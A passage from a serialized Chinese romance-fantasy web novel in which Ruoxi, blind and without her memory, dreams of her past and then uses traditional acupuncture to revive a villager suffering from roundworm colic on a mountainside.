此时,若曦的脸上忽然平静了下来,恬静地格外动人。却瞬间似是又被什么梦境再次纠缠住而微微蹙起了眉。

梦里,那个女子的模样太过于模糊,一点儿都看不清,只是其正身处的那个宫殿,看起来布置的倒是一点儿也不像是女子的闺房,更像是一贵族男子的寝殿。

那女子声音悲伤地道“云儿明白殿下的心意,可殿下是个心中有太多悲伤的人,云儿亦是早晚都会离开这里,就如同一道浮光掠影,是个没有明天的人。人生漫漫

,如此身不由己的云儿又怎能对殿下承诺什么呢?在一起,最终也只是平添一缕伤痛,云儿又如何忍心?!所以,今夜发生的一切,云儿都将忘记,也请殿下,此生不要再记起。”

梦境片段快速切换,来到一悬崖边上,一树根的两头各自牵着一男一女俩个人。树根已然即将断裂开,眼看着就要落崖的女子哀伤乞求道“殿下松手吧,云儿求您了。再这样耗下去,我们俩真的都会没命的,云儿死不足惜,只求殿下您一定要好好活着。这个世上,还有更多的人需要殿下,为了云儿,殿下不值得做如此牺牲,殿下切莫要辜负了那位妇人的临终所托。”

又是同一座山崖,一大腹翩翩的妇人嘴角含笑,轻轻抬起一只脚来,整个人便顺势即刻掉落到脚下的云山云海之中。

就在其即将落地的那一刹那间,那妇人竟还伸手拽住了山崖一断面上的一株千年人参。

那是什么,像是一道奇幻极了的紫芒,原来竟然是它将那妇人整个都包裹了起来直到其平安落地,那紫芒方才消失不见。

半夜里,妇人终于被一阵冰冷的潮水激醒,她只感到周围尽是湖滩边上的阵阵冷风全部都朝她一起不断地袭来。

妇人单薄的身子虚弱极了,但她知道自己决不能在这里待一整晚,她必须试着将自己沉重的身子支撑起来。

这时,身上却忽然感到了一阵痛楚。不,这不是普通的痛感,这是...这是临产前的阵痛,她腹中的孩子就快要出生了。

顿时,妇人惊慌极了。不,你不能现在出生,绝不是现在,现在可是在半夜里空无一人的崖底寒湖滩上,这里什么都没有,为娘的甚至连自己都衣不蔽体,食不果腹。你若是现在出生,一定会被冻死,饿死的。孩子,你一定得等等,再等等,等一个好心人的出现。

一念至此,妇人借着夜空里微弱的月光,慢慢坐起身来,掏出银针,大口地喘了几口气后,屏气凝神让自己冷静下来用手指摸索着,鼓足勇气最后在自己隆起的腹部施下一针。

待其耐下心来,等到阵痛感舒缓了许多后,继而又慌忙地放眼环视了下四周,随即便咬紧了嘴唇,握紧那株珍贵的千年人参吃力极了的缓缓开始向前方尽头的树林里匍匐爬去。

她一边拼命地用力爬,一边泪眼朦胧地在心里呼唤着“老天保佑,谨遵西秦天子之命,守护者之己任,已保西秦少主平安脱险,使命达成,若曦死而无憾。可若曦肚子里的孩子,她可是西秦国的下一代守护者,求你一定要开开眼,这个孩子,她绝不能死,绝不能……”

这时,陷入昏睡中的若曦眼角竟忽然源源不断地涌现出滚烫的泪水来,嘴里还似在喃喃呜咽着求救道“来人啊,有人吗,快来人救救她,救救她吧……”

忽然,梦境又闪到了一座深宅大院里,院子里到处都回荡着空灵极了的声音道“命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落

、既来之则安之。”

此时,若曦顿然止住了泪水,又开始不停地胡言乱语起来“你是谁?你们是谁?你们都是什么人……”

至此,梦境里突然又闪现出一道极强的光芒,这刺眼的光芒里渐渐现出来一道墙,伴随着这道墙越来越清晰,犹如一扇门渐渐地敞了开来,却像是要将她整个人都吸进去一般,她惊的忽一下睁开眼睛,整个身子亦随之微微一抖,醒了过来。

眼睛终于睁了开来,随即便听到了耳边所传来的这几日已十分熟悉的欢儿的声音,她正坐在床前双手握着自己的一只胳膊,一边轻轻摇晃着,一边似是惊愕极了地关切道“若曦,若曦,你怎么了?”

看到若曦在用胳膊吃力地想要将身子撑坐起来,欢儿忙起身来搭手着将其扶起。

若曦坐起,这才开口说了话“我...我刚做了一个梦,一个好长好长的梦,又似是那样逼真的一个梦。”

“是什么样的梦呢?”欢儿坐下来一边帮其拭去额头的汗水,一边好奇地问。

“什么样的梦?梦境都各不相同,有深宅大院,有悬崖峭壁,有大雨滂沱车水马龙的繁华街头,有男有女,还有……”一想到那个镜头,她的脸上不禁顿时浮起了一抹潮红。

继而转念又继续道“特别有一个不知什么原因坠落悬崖,悲惨至极的即将临盆的妇人,她的名字,竟然也叫做‘若曦’,怎么会这么巧呢?”

“梦见了一个孕妇?那可是吉兆啊!”欢儿完全不知若曦此时心中的若有所思,兀自激动地道。

然若曦根本没有在意欢儿此时的一脸欣喜,她只自顾自地继续沉浸在自己方才的那个长长的梦境里,喃喃自语地纳闷道“为什么在我每个残碎的梦境片段里,始终都总是看不清楚梦中的那些脸呢,他们究竟是谁?那些一段段支离破碎的梦境片段又和我有什么关系?我到底是谁?我心中的执念又是什么?”

不知为何,若曦说着说着,忽然想起昨夜在如梦亭中偶遇的那个道长来,随即便又似是习惯性地摩挲起手腕上的那只七彩金丝彩玉镯子来。

顿时间,道长临走前的叮嘱又再次响在了她的耳边“贫道这儿有一粒还魂丹,用小姐手腕上的七彩金丝彩玉镯子将其研碎服下,能让小姐记起许多已经遗忘了的事。然却也会遗忘心中一直以来的执念,亦是一份不该属于这一世的念想。当然,那的确也是小姐心里最极为珍贵的东西。”

于是,她又情不自禁地在口里喃喃低声细语起来道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。”

闻此,身旁的欢儿顿时惊的瞪大了一双圆溜溜的大眼睛看着她道“若曦,这句话...你是从哪儿听来的。”

然不等若曦开口回她,欢儿便大叫了一声“糟了!”话音尚还未落,便已兀自飞快地朝着院子里疾奔了出去,若曦亦不知所然跌跌撞撞地摸索着下了床来……

第二百五十二章:你才是瞎子

“老夫人,老夫人……”欢儿一奔出西屋的门来便一边喊,一边疾步跨进到老妇人的东屋里。

见老妇人已然消失地无影无踪,便又急急退出来开始在院子里的所有角角落落里搜寻起来。终是无果,此时她心下一急,撒腿便朝着门外奔去。

许久后,只见欢儿步履缓慢,垂头丧气地从门外回到了院子里来。

这时候,正一手扶在门框上的同样一脸焦急之色的若曦,仔细侧耳一听到欢儿迟疑的脚步声,便急急迈步向其方向摸索着靠近了过去,亦着急地问道“欢儿,老夫人她怎么了?究竟发生了什么事?”

欢儿听到若曦柔软的声音,先是怔在原地里抬起头来朝其一愣,继而竟忽地一步上前去伸手一把抱住了若曦的肩膀,趴在她弱小的肩头上顿时失声大哭了起来。

这时,若曦的心亦顿时咯噔一下似是停了下来,继而忙道“欢儿莫要只顾哭,到底发生了什么事,你倒是快说啊?”

欢儿依旧无力地趴在她肩头,吸了吸鼻子,哽咽着道“若曦,这下要出大事了。方才听你醒来,我一着急便只顾着进屋来看你,竟没能拦住老夫人。老夫人她...她独自出远门去了,这八年来,她可是一步都没有离开过这个村子啊。前几日,我出去的时候,便听路上的人都说,近来外面很不太平,有许多到处打家劫舍,欺男霸女,猖狂至极的劫匪强盗,貌似他们还要向朝廷造反,朝廷正在派兵镇压呢。这...这兵荒马乱的,万一若是被老夫人遇上了,那可该如何是好呢?…呜,呜,呜……”

欢儿此时似是惊怕地都不敢再继续说下去,话音刚落便又哭了起来。

若曦一手抱紧欢儿,另一手轻抚着她的背,闻之心中亦是顿时恐慌极了,然依旧故作镇定着安抚其道“欢儿别哭,欢儿别哭,我问你,你可知道老夫人要去哪儿吗?”

“老夫人,她是见你整日里总是昏昏沉沉地嗜睡着,身子总不见好。于是,她想要去城南城隍庙里亲自等玄空大师云游回来,好请大师亲自前来看看你。”欢儿一边用手背抹着眼泪,终于站直了身子对其哭诉道。

若曦闻此,心中顿感愧疚,原来老夫人此行都是因为自己所致,便道“城南城隍庙...你可知道怎么去么?老夫人走了左不过也就这会儿功夫,她一定还没走多远,我们这便赶快动身去追,相信一定能追得上的。”

“可是...你的眼睛……”欢儿犹犹豫豫地朝其关切道。

被欢儿特意这么一关注,若曦方才意识到,其实自己的眼睛,自从今日一大早醒来便似乎已经隐隐约约地有了些光感“我的眼睛...欢儿放心,其实,我的眼睛似乎已经能感觉到些许光线了。所以,我陪你一起去,不会有事的,放心吧!”

闻此,欢儿瞬间兴奋极了,迅速伸出两只圆嘟嘟的小手来紧紧捉住若曦的手臂,欢呼雀跃地惊喜道“这是真的吗,若曦

?你的眼睛真的已经有感觉了?”

若曦亦重重地朝其点了点头,眼角现出一抹好看的弧度来。

“真是太好了,这简直就是奇迹啊。一觉醒来,不仅若曦头上的伤消失地无影无踪,就连眼睛也好起来了。若曦,如此这样下去,相信你的记忆很快便会恢复的,你很快便会知道自己是谁,来自哪儿了?”此刻,欢儿内心竟激动地一把紧紧地将若曦整个人都抱了住,其力气之大,若曦似是都快要喘不过气来。

这时,若曦忙提醒其道“事不宜迟,欢儿带路,我们这就赶快走吧。”

“对对对,快走快走,不然就追不上了!”就在欢儿正小心翼翼地搀扶着若曦,俩人刚走出院子正准备关门离开的时候,忽然疾奔过来一个樵夫打扮的中年男子。

那樵夫神色慌张,跑得满头大汗,上气不接下气地结结巴巴道“欢儿...欢儿姑娘,老夫人...老夫人她人呢?”

“老夫人?你找老夫人何事啊?她自个儿出远门了,我正要出去寻她回来呢?大叔,你有什么事吗?”欢儿好声好气地问。

岂料那中年樵夫一听,却顿时惊慌失措地扬声怒了起来,道“什么?老夫人出远门了。老夫人不是一向都足不出户的吗?她早不出晚不出,怎么偏偏会这个时候外出了呢?哎呀,不得了啦,不得了啦,这下可要出人命了,这可怎么办是好,这可怎么办是好呀?”

“哎,我说你这个人怎么能这么说话呢?那老夫人怎么就不能出个门了,她有什么义务成日里呆在家中等你们一个个上门来找,断你们的家长里短吗,她又不是……”

未等欢儿将话说完,若曦便忙伸手将其打断,柔声对其方向问道“这位大叔,请问你如此急匆匆地前来找老夫人,究竟有何事?”

闻声,那中年樵夫这才注意到了眼前的这个一袭水蓝色长裙的陌生人,将她很快地上下打量了一番,有些纳闷地道“你是什么人?”

若曦正在为难,欢儿忙一步上前去用自己的小身子将其挡在身后,开口回道“她是我刚刚久别重逢的远房表姐,怎么了?”

“她的眼睛……”这时,中年樵夫忽然发现这看起来瘦弱高挑,一轻纱遮面的清秀女子的眼睛似是有些不对劲,便问道。

“我表姐的眼睛受伤了,你问这个做什么?你到底有什么事?若是不说的话,我们还有急事,没空陪你在这里瞎磨蹭。”欢儿不耐烦地将话一说完,便一把捉起若曦的手,欲要踱步离去。

见此,中年樵夫忙上前去张开双臂将俩个女子只身挡住,方才对其急急道“唉...等等等等,欢儿姑娘莫要生气,我只是一时好奇随便问问,并无恶意。欢儿姑娘,大事不好了,王二出事了!”

“王二怎么了?”闻此,欢儿不禁顿时心中一震,一脸惊诧地道。

中年樵夫这才长长地舒了口气,幽幽道“早上起来,我吃了

两碗稀粥,又在家里喝了一壶茶,接着又……”

“说重点”欢儿生气极了,真是越急越乱,越乱越急,闻此,猛地将其打断,朝其怒道。

中年樵夫吓得又忙拭了拭额角的汗水,方才回归到正题上“方才我在山里打柴,忽然听到身旁不远处似是有人发出一阵极其微弱地在喊‘救命’的声音,便寻了过去。岂料,走近一看,竟是王二。只见那王二躺在地上,像是中毒了的样子,也不知道他究竟是怎么中的毒?又中了什么毒?欢儿姑娘,求你赶快去看看吧。自从老族长死了以后,整个村子里就只有老夫人和你俩个人会医术了。这天眼看着都快要黑了,要是晚了,怕是王二他会不会就小命不保了呀。”

“可是...可是我...我还要去找老夫人呢!想必你也听说了,最近外面很不太平,这老夫人万一要是有个什么闪失的话,那可怎么办呢?”欢儿亦顿时犹豫极了。

这时,一边上一直静静地沉默立着,未曾说话的若曦开口道“欢儿,事已至此,不如这样吧。我的眼睛虽已能见到些光,但始终都尚还未彻底痊愈,想着一路跟着你,你还要照顾我,怕是终会连累脱了你的后腿。不如,你先去追老夫人,我随这位大叔去看看王二的情况。等他脱离了危险,我再去寻你,如何?”

岂料若曦的话音刚落,欢儿便一脸严肃地侧过身去,似是生气极了一般地脱口即出“不行?可你会医术吗?就算你会医术,你的眼睛又能分辨得清药草吗?还有,即使这一切你都做到了,到时候怕是天也已经快要黑了。你一个女孩子,又怎么出门?你又知道去城隍庙的路吗?你已失去了记忆,眼睛又看不见,若是再弄丢了,或者半路上被那些劫匪给……不行,绝对不行。”

“不行,你不行,你不能去!”岂料那中年樵夫不知为何,亦对若曦的主意一脸坚定地矢口否决道。

这时,若曦缓缓摸索着直到温柔地探到并捉起欢儿的手,耐心对其劝道“欢儿,相信我,我能做到的。虽然我忘记了自己是谁,又来自哪里?可我知道,王二我一定救得了。再说了,眼下除此之外,我们也已经没有其它路可以选了,不是吗?若是再这样两头继续耽误下去,或许你就真的追不上老夫人了。又或者,王二也一定会丧命呢。”

听了这一席话,欢儿心里似是终于有了些许动容,确实,眼下的事,都是事关人命之大事。于是,她终于慢慢地挪步转过了身来,手一反转,很轻松地便将若曦的手紧握住,叮嘱其道“好吧,但是你不要勉强自己,尽力就好。”

岂料欢儿终于同意了,那中年樵夫却一脸轻蔑地坚决道“不行,我不同意,她一个瞎子,而且以前从未在村子里见过,万一他将王二害死,逃跑了怎么办?”

欢儿闻声,一脸惊愕地厉色朝其吼道“你才是瞎子,说什么呢。若是不信她,那你就自己去给王二治吧!若曦,走,不理他。”

第二百五十三章:你去死吧

欢儿怒气冲冲地将话刚一说完,便兀自拉起若曦的手疾步离去。

那中年樵夫愣在原地里半晌后方才缓过神来,忙大步朝着二人追了上去,乞求道“欢儿姑娘,欢儿姑娘,你可是救苦救难的‘活菩萨’身边的人啊!怎能如此狠心见死不救呢?”

“什么‘活菩萨’?那可是你们自己自愿传叫的,没有人逼你们这样称呼老夫人。老夫人...她只不过也就是个有血有肉,有着生老病死的平凡普通人而已。平日里,这个村子有谁没有受过她的恩惠,可如今她有难,怎么也不见你找人帮忙去找找她呢?”欢儿说着说着,似是都有些心寒和着急地欲要哭了似的。

中年樵夫亦顿时一脸难色地忧心忡忡道“欢儿姑娘,不是咱们大家不愿意帮你。而是,这若是平日的太平日子,叫咱们为老夫人做什么,咱们也都义不容辞。可现在...外面到处都是兵荒马乱的,处处都是劫匪和不要命的,还有谁敢出门去呢?那不是自己找死吗!”

“你闭嘴!……”

岂料欢儿忿忿地话刚一开口,若曦骤然扬声朝这二人怒喝道“好啦,都别吵吵了。若是再这样吵下去,老夫人和王二就都没命了!”

闻此,二人方才止住了声,若曦接着认真严肃地布置道“欢儿,你赶快往城隍庙方向去追老夫人。这位大叔,正如你所言,我是个瞎子,若是真的没能医治好那王二,那我又能逃到哪里去呢?到时候,你想怎么处置我都可以,不是么?请相信我一次,我一定可以的。”

“若曦,你在瞎说什么呢?”欢儿一脸责备之色地朝其怒道。

“这……好吧,那你就跟我走吧。”那中年樵夫再三思量,终是念及老妇人的安危,又看到若曦眼里满满的决心,终是长长地叹了口气,无奈地妥协道。

若曦闻声,顿时露出了一脸的欣喜之色。而身旁的欢儿却早已不知不觉地握紧了她的手,尽是不放心犹豫的眼神,口中喃喃道“若曦……”

“放心吧,我不会有事的,你赶快去吧,若是晚了可就来不及了。”若曦反而催促其道。

欢儿心中自是极为着急着老夫人,又担心若曦的眼睛多有不便会应付不来,她又与村里的人尚未来得及接触过。

然在其一再的催促下,又看着越来越深的天色,终是一咬牙,心一横,便伸手折下了身旁的一株梦树上的一截小树枝,将其一头放在若曦的手里攥紧,又亲自将另一头郑重其事地交到中年樵夫的手中“若曦我可交给你了,你若是敢让她少了一根汗毛的话,我一定会让你好看。”

听到欢儿一个小姑娘此时如此认真地道出的这番话,中年樵夫顿时惊地不禁默默地吞下了一口口水,怔怔地望着眼前这个小姑娘一双圆溜溜炯炯有神的大眼睛,惊呆了。

待欢儿终是恋恋不舍的扭头离去,俩人便亦由一根梦树树枝牵连着,一前一后地径自朝着附近的一座深山方向而去。

山野里,漫山遍

野的野花到处盛开着,山涧溪水淙淙、山林郁郁葱葱、其间鸟语花香、山风阵阵迎面扑来,一切竟是如此的惬意舒适。

走在上山的崎岖小路上,若曦侧耳仔细聆听着渐入周围里所际遇到的所有美好的声音。

半晌后,她忽然微笑着开口问道“大叔,方才听你说王二是中毒了是吗?”

岂料,那中年樵夫却丝毫没好气地朝其瞪眼轻蔑地说道“是啊!怎么?方才信誓旦旦地一口一个让我相信你,说自己可以,自己一定可以。这会儿,莫不是心虚怕了不成?我可告诉你,事到如今,现在你就算是后悔也来不及了。如果你救不了王二的命,那你可就惨了,你要偿命的,知道吗?所以,不要再有任何痴心妄想了,好好想想待会儿要怎么做才是。”

闻此,若曦忙解释道“大叔,我不是这个意思,你放心,我说可以便一定可以。我之所以现在问这个,是想在我们赶往事发现场的途中对王二的情况多做些了解,这样可以节省很多救治的时间。我的眼睛暂时还看不见,所以,待会儿必定会有很多事情还得麻烦大叔你帮忙呢!”

“哼...原是泥菩萨过江,自身都难保,还逞什么能耐呢,真是自不量力。我倒是要看看,你待会儿究竟要如何自圆其说?”中年樵夫极不信任地在心里暗暗讽刺道。

因为没有听到自己心中所期许的任何回应,若曦不禁耐心地再次朝前方引路的中年樵夫轻唤了起来“大叔,大叔……”

“又做什么?”中年樵夫依旧脸色臭臭地极不耐烦道。

若曦闻声,却依旧心平气和的笑着问道“大叔,你还没告诉我,王二到底是什么中毒症状呢?”

虽然觉得很烦,中年樵夫仍是一边在前方引路,一边幽幽说了起来“春天到了,野菜疯长,想是王二该在山里误食了什么东西,中毒了吧?”

“那他都有些什么详细症状呢?”若曦闻之,若有所思地追问着。

中年樵夫暗自沉默着想了想,重重地叹了口气说道“唉...方才我在山里发现他的时候,见他抱着腹部在地上滚来滚去的,似是绞痛难忍不已,都出汗了,摸着四肢亦有些发凉,口吐涎沫,这不都是中毒的症状吗?”

若曦眉头微蹙,认真地听着,口中喃喃道“腹部绞痛,四肢发凉,痛则汗出,口吐涎沫……倒也未必尽是中毒之象。”

顿时,她忙又问道“那王二的家境如何?”

中年樵夫闻此,即刻顿足回首一脸质疑地瞪着她的脸道“你问这个做什么?他的家境与他所中之毒有何关联?喔...我终于明白了,难不成,你想借治好了他的病,乘机敲诈他一笔不成!”

若曦忙解释道“大叔切莫误会,我不是那个意思。只是,根据大叔所言,我觉得王二不一定是中毒了,或许,是跟他平时的某些生活环境和习惯有关联。”

“你真的会医术?”闻此,中年樵夫不禁再次又仔细地打量了一番眼前的神秘

面纱女子,道。

若曦只微笑着对其轻轻点了点头。

中年樵夫又疑惑道“可方才听欢儿姑娘不是说你失忆了,连自己是谁都记不起了吗?那么,你竟还能记得你的医术?”

若曦笑道“失忆也有很多种,不见得遭遇意外失忆的人就全都会变成痴傻的。”

至此,中年樵夫方才一边思索着,一边继续引路朝前走去,道“这话倒也是...王二自小便父母双亡,是个孤儿,很是可怜。家里很穷,条件很差,几乎是家徒四壁。却也偏偏有些好吃懒做,但心眼倒是不坏。这不春天了嘛,可能是想要在山中挖些野菜回去充饥,谁料……”

“自小便父母双亡,那依照大叔所言,那王二经常来山里寻觅食物咯?”若曦惊诧地道。

“山里的野菜、野果、野菌菇...几乎大半都是被王二采了去。也是村里人见他可怜,故意留给他的。”中年樵夫默默地道。

“如此说来,王二对这山里的山货,都十分的了解。什么能吃,什么不能吃,应该不会误食才对啊。”若曦纳闷地跟在后面,喃喃自语道。

“唉,‘常在河边走,哪有不湿鞋’,谁没有个万一呢……”中年樵夫叹了口气,却不认同其道。

就在俩人说话思索间,那中年樵夫忽然止住步来,大叫了一声“王二,王二……”随即便丢掉了手里的树枝,直朝着山涧小溪边一似是已昏厥了过去的男子身边急奔而去。

闻声,若曦当即顿足心中一惊,继而亦忙伸手借着微弱可见的一丝光线一边急急摸索着,一边朝其声音所发出的方向探了过去。

“啊!”只闻一声女子的尖叫声,跪身在地抱着王二的头痛哭着的中年樵夫猛地回头看了一眼,这才看到是摸索着探寻了上来的若曦,她刚好被地上王二的双脚给绊倒在地。

然她丝毫不顾及自己身上的痛楚,只着急地在地上一顺着王二的脚爬了上来到樵夫的身边,便忙一边在王二的胳膊上摸索着,一边问道“怎么样,怎么样?他现在什么情况了?”

“走开,你是瞎子吗?你没看到他一脸惨白,已经…都怪你,都怪你,你去死吧...…”中年樵夫一看到此刻昏死过去的王二的一副惨状,伤心极了,一想到莫不是自己延误了他,便一把将若曦大力地推倒在了地上,又口不择言地朝其怒喝道。

然若曦却根本不管不顾他此时的冷言冷语,忙又挣扎着坐起身来,继而再一次跪爬着伸手去探寻王二手腕上的脉搏以及其四肢的温度。

半晌后,若曦终是一脸欣喜地道“没事的,没事的,来得及,来得及,他不会有事的,不会有事的。”

话音刚落,若曦便从身上摸索出一包银针来,摊在身边的草丛上,继而又伸手开始摸索着脱起了王二的鞋袜来。

中年樵夫一看到若曦此时笨拙极了的动作,忙大声朝其制止道“你想做什么,不可以,你住手,快停下来……”

第二百五十四章:为救人,光感消耗殆尽

若曦探寻过王二的脉搏以及其四肢的温度后,终是一脸欣喜地道“没事的,没事的,来得及,来得及,他不会有事的,不会有事的。”

话音刚落,若曦便从身上摸索出一包银针来,摊在身边的草丛上,继而又伸手开始摸索着脱起了王二的鞋袜来。

中年樵夫一看到若曦此时笨拙极了的动作,忙大声朝其制止道“你想做什么,不可以,你住手,快停下来……”

“大叔,请你赶快帮我把王二的裤腿和袖子都掀起来,一定要快,他现在已经昏厥了,若是再不施针救治的话,怕是就会有生命危险,要来不及了。快啊!”王二的病情已然迫在眉睫,若曦完全不顾中年樵夫的劝阻,只对其命令道。

然中年樵夫却一脸质疑地依然对其耿耿于怀道“你真的会医术吗?”

“这都什么时候了,王二已经被你耽误了许多的救治时间,难道你非要等看到他断气以后方才后悔吗?我若是不会医术,又怎么会随身带着这些银针行走呢?”若曦一边褪去其鞋袜,一边着急地道。

“即使你真的会医术,可是此时你的眼睛,望闻问切,你又如何……”那中年樵夫犹犹豫豫,话还未说完,不想却顿时被眼前的情景惊呆了。

只见若曦一急急褪去王二的鞋袜来,便顺着又将王二的裤腿亦已掀了开来,继而右手摸索捏起一根银针,左手同时在王二的小腿外侧处一边摸索比划着,一边口中喃喃自语道“足三里,位于小腿外侧,犊鼻下3寸,犊鼻与解溪连线上。直刺1至2寸,主治胃肠病证,下肢痿痹,神志病,外疾患,虚劳诸症。”

话一说完,便似是已经找准了穴位,朝其直刺了下去。

紧接着,只见她一刻都没有多做迟疑,又摸索出另一根同样的银针来将其捏在右手指尖,同样以左手在王二的小腿外侧边摸索比划着,一边口中喃喃念叨着“阳陵泉,位于小腿外侧,当腓骨头前下方凹陷处。直刺1寸,主治半身不遂,下肢痿痹,麻木,膝膑肿痛,脚气,胁肋痛,口苦,呕吐,黄疸,小儿惊风,坐骨神经痛,肝炎,胆囊炎,蛔厥,膝关节炎等。”

就在若曦又一次无比镇定地将银针再次准确地刺入穴位的时候,一旁的中年樵夫早已经被其口中专业的用语和娴熟的动作惊的怔在原地里一动不动了。

……

只不过须臾,她便已施完了腿上的针穴,继而又摸索着挪身到了王二的手臂旁边来。

正欲要伸手褪去王二的衣袖,那中年樵夫这才猛然回过神来,忙伸手抢先两三下功夫便将王二的整条臂膀帮其露了出来,并放在若曦的手中。

若曦对其之善意笑了笑,随即一手指尖捏着银针,另一手一边在其前臂背侧腕背处摸索比划着,一边口中念道“支沟穴,位于前臂背侧腕背横纹上3寸。-1寸,可治头痛,耳鸣,耳聋,中耳炎;目赤,目痛,暴喑,咽肿,热病,瘰疬;咳引胁痛,胸膈满闷,卒心痛,逆气;便秘,呕吐,泄泻;经闭,产后血晕,乳汁不足;胁肋痛,肩臂腰背酸痛,落枕,手指震颤,腕臂无力;缠腰火丹,丹毒。

当她再次一脸沉稳冷静地将指尖的银针刺入时,中年樵夫已然惊愕地不能自已,又一次瞪大了眼睛呆愣在了一旁。

等待的时间只不过片刻,忽见王二的四肢微微触动了两下,随后竟真的渐渐苏醒了过来。

“王二,王二,你终于醒了,太好了,他醒了,他醒了……”中年樵夫一脸不可思议地忙扑过去将王二的上身扶着坐起,又对若曦欣喜道。

若曦亦终于长长地舒了口气,兀自将王二身上的所有银针再次摸索着一一拔出收回。

王二终于缓缓睁开眼睛,待其一看清眼前的女子,瞬时尚还有些虚弱地朝其惊讶道“是你,怎么是你,你什么时候醒过来的?”

说着,便挣扎着欲要起身来。这时,中年樵夫方才开口告诉王二道“王二,是这位瞎...这位姑娘救了你的命。方才你是怎么了,真是吓死人了,要不是这位姑娘,今日你死定了。”

“是她...救了我?”王二不可思议地一脸疑惑着道。

“可不是嘛...就是这位姑娘救的你。今日不巧老夫人出远门了,近日里外面到处兵荒马乱的,欢儿姑娘不放心老夫人独自出门,便出去寻了。”中年樵夫点了点头,一脸敬佩地看着若曦的脸道。

话音刚落,中年樵夫又不解地问王二道“不过,你从小便在这山里采食,怎么会中毒了呢,你到底吃了什么东西?”

“我...我没吃什么啊?”王二亦心中颇为纳闷地道。

就在二人都一脸不解时,若曦已收好了银针站起身来道“你是不是平日里经常会阵发性地腹部剧烈绞痛,痛时翻滚不已,大汗出,面色苍白,四肢冰冷,发作后又与常人一般无任何不同?”

“你是怎么知道的?”王二闻言,顿然抬起头来仰望着这个昔日里令他一脸嫌弃的丑陋面纱女子惊声道。

然若曦并没有立刻回答他的疑问,只对其微微笑了笑,继而又侧脸朝着那位中年樵夫道“这位大叔,我的眼睛不方便,麻烦请你帮忙看看,在他身旁的所吐之物里是不是有些许蛔虫?”

那中年樵夫眼睛一斜,很快便看到在一堆污秽不堪之物里果然有几条让人作呕的微黄色如蚯蚓一般的线虫在蠕动,不禁惊声赞叹道“姑娘,你是不是故意装瞎的啊,好像什么都看的到一样,真神啊!……不过,这王二究竟犯的是什么病呢?”

闻此,若曦这下总算是全明白了,随即松了口气道“《医林绳墨厥》中有云‘有蛔厥者,胃中虚冷,蛔水能养,妄行于上,致令上吐,蛔虫多出,心气虚惊,彷惶不宁,致使手足冰冷而作厥也,故曰蛔厥。”

“‘蛔厥’?这不是小儿一般才会发的病吗?有孩子的人家中一般都会备着乌梅丸,吃吃就没事了。这王二都快三十的人了,怎么也会……”中年樵夫看着王二,王二亦看着中年樵夫,俩个人顿时面面相觑着,满心疑惑道。

若曦却道“没错,此病虽好发于七八岁的小儿,但方才在上山的途中,我一听大叔所言王二的病症,又了解到王二自小便在这山里采食,自不会那么不小心地中毒。于是,便又问了大

叔你王二的家境,据你所说,他平日里,一定是自小无人照料,又不注意卫生,长年累月,小病终于积成了大疾。到了这里,我一替他把脉,便就更确定是‘蛔厥’无疑了。幸好我们赶得及时,若是再晚一些,便会真的危及生命了。”

“原来如此…那姑娘仅凭方才那几针便将王二给治愈了?”中年樵夫抱着尚还有些虚弱的王二的肩问道。

“当然不是,他还需要服下家家户户都备有的‘乌梅丸’方可,不过要记得服药之前先服下浓糖水一杯,再服药,服药后注意观察排便中是否有蛔虫排出。另外,以后饭前便后要记得洗手,不喝生水,瓜果蔬菜要洗净煮熟后方才能食用,如此才能一劳永逸,再不复发。”若曦细致入微地叮嘱关切道。

中年樵夫顿时恍然大悟道“我可真是‘有眼不识泰山’啊,没想到,我们这小小的桃花店村里,区区一座巴掌大的小庙,竟然又来了一位救苦救难的‘活菩萨’。方才我言语上多有得罪,还望姑娘见谅!”

“大叔莫要这样说,什么‘活菩萨’,我可受不起,这种成人感染的病例在平日里也的确是比较少见而已。”若曦谦虚道。

“谢谢...谢谢姑娘。”这时,虚弱的王二亦靠在中年樵夫的怀里,鼓足了一口气对若曦致谢道。

若曦闻声,朝其方向对其嫣然一笑道“举手之劳,不必挂怀。”

“轰隆隆……”

深山里的天气,总是说变就变。就在三人正慢慢地熟络之际,忽然,一阵滚滚春雷,声声响在了三人的头顶之上。

中年樵夫骤然抬起头来一看,随即惊声道“不好,看样子,是要下大雨了,这深山里可并没有什么能躲雨的地方啊,这可该如何是好?”

闻此,三人心里不禁一起都有些慌了起来。

正在思索,这时,若曦先开口道“大叔,我没事的,你不用管我。王二的身体在这个时候绝不能淋雨...你赶快将他背起来下山去吧,我……”

不及若曦将话说完,那中年樵夫当即坚决否定道“不行,这怎么可以呢?我答应了欢儿姑娘,一定让你一根汗毛都不能有事。这深山里,平时除了我和王二,很少有人出没。你一个大姑娘家,怎么能独自留在这里。况且,这里偶尔还会有野兽出没,不行,这绝不行。”

那中年樵夫言语里,一脸的决绝和不容置喙。

耳边的雷声越来越响,雨点也已开始一滴滴地洒落下来。

终于,若曦无奈地道“好吧,大叔,你背着王二在前面走,我还是像上山来的时候一样,紧跟在你们身后,这样总可以了吧?”

“天色渐暗了,你的眼睛行吗?”中年樵夫一脸忧色道。

“嗯,放心吧,我可以的,我能看到一丝光亮。”许是因为方才太费力地集中眼力去替王二寻觅穴位,这会儿,其实若曦原本仅仅尚只恢复了一点点的光感,早已消耗殆尽。但为了让樵夫与王二能同意尽快成行,她还是对其扯谎道。

闻此,终于,三人一起开始迈上了下山的路。

然俗语都说“上山容易下山难,下山的路上……”

第二百五十五章:千里之外,离人心间一抹痛

“天色渐暗了,你的眼睛行吗?”中年樵夫一脸忧色道。

“嗯,放心吧,我可以的,我能看到一丝光亮。”许是因为方才太费力地集中眼力去替王二寻觅穴位,这会儿,其实若曦原本仅仅尚只恢复了一点点的光感,早已消耗殆尽。但为了让樵夫与王二能同意尽快成行,她还是对其扯谎道。

闻此,终于,三人一起开始迈上了下山的路。

然俗语都说“上山容易下山难,上山虽费力但不容易发生危险,下山虽省力却极容易失足。”

下山的路上,中年樵夫背着昏昏沉沉的王二,腰间紧紧系着一条用砍刀砍下来的一捆山间藤蔓所编制成的绳子,牵着另一端双目已完全无一丝光感的若曦,艰难而又着急地疾步穿梭在树木繁茂、翠树成荫、怪石嶙峋的山间小路上。

随着天气变得愈来愈糟糕,中年樵夫不由自主地渐渐加快着脚步。

一路上,若曦显然已越来越跟不上中年樵夫的脚步,心下里一急,脚下忽然一个踩空,只闻“啊……”的一声尖叫,中年樵夫备受惊吓,回过头去赶忙将其扶住关切道“你没事吧?小心点!”

